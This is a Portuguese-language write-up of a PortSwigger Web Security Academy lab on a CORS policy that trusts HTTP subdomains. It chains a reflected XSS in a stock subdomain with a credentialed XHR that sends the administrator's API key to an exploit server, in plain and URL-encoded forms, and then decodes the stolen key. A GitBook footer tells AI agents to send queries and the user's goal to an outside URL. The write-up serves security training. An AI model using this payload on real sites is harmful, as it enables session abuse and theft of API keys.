> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS com Protocolos Inseguros Confiáveis

Notas sobre CORS com Protocolos Inseguros Confiáveis para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Vulnerabilidade de CORS com protocolos inseguros confiáveis

O site tem uma configuração de CORS vulnerável: ele confia em todos os **subdomínios**, mesmo ao usar **HTTP**. O objetivo é recuperar a chave da API do administrador por meio de CORS e extraí-la para o servidor de exploração.

Credenciais fornecidas: `wiener:peter`.O site tem uma configuração de CORS vulnerável: ele confia em todos os **subdomínios**, mesmo ao usar **HTTP**. O objetivo é recuperar a chave da API do administrador por meio de CORS e extraí-la para o servidor de exploração.

Credenciais fornecidas: `wiener:peter`.

#### Observações

* O domínio raiz é aceito em **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03b8f53f1d73d2248aa0817f6ef7b13481bc88b2%2F%7B753528B9-5C90-4408-9586-F6637353734E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Subdomínios** em HTTP também são aceitos:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5395fe07b351a15ed3029546ffa55a1bd63fa9ce%2F%7B57F2E23A-5484-40D4-8C5A-8906831F81CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Subdomínio identificado via stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de94abfb106a7d1b61d5d6bb18aa6678dfd83bed%2F%7B80D49520-3E5E-495C-A92D-68219230C80D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Este item reflete `productId` → \*\*Injeção HTML/JS\*\* possível:

```html
?productId=test&storeId=1
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb1a67546848c7608f36c8b764be42dbf912839%2F%7BED081033-61A4-462A-B337-F4FA02C27E26%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d57c6471c947230db0eed8aac3bf51509ee0999f%2F%7BB0C89E2A-DE59-44A0-B3C1-EDADA8CA1EFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c39961c83547a93fc0bb0c42273093ead3d75e9%2F%7B09CEDAD3-B9FB-430C-AEC1-5E4B705090F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploração: Leitura de `/accountDetails` e Exfiltração

Script XHR usado (enviado via subdomínio):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Injete o script no `productId` parâmetro do subdomínio vulnerável:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Redirecione para a URL a ser explorada com a `apiKey` variável contendo a resposta codificada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-922aeb0a58e86760f2acba38180b562cbeea7886%2F%7B1831EA33-51C0-474F-81CA-62F01D01AA52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Carga útil enviada à vítima (versão codificada na URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Recebendo a chave da API no servidor para explorar via o `apiKey` parâmetro.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a24ace683c7d5aa2bbd5e412105d9c5e6886543f%2F%7B8A3DE62E-6543-4074-BCEB-34162FD66695%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Decodificação realizada com:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41b05eb06e8c5bd008b05ca7a5cd7bb4fb68ac6e%2F%7BA9A610D7-9469-41E0-917E-99EBFCA3DEB4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
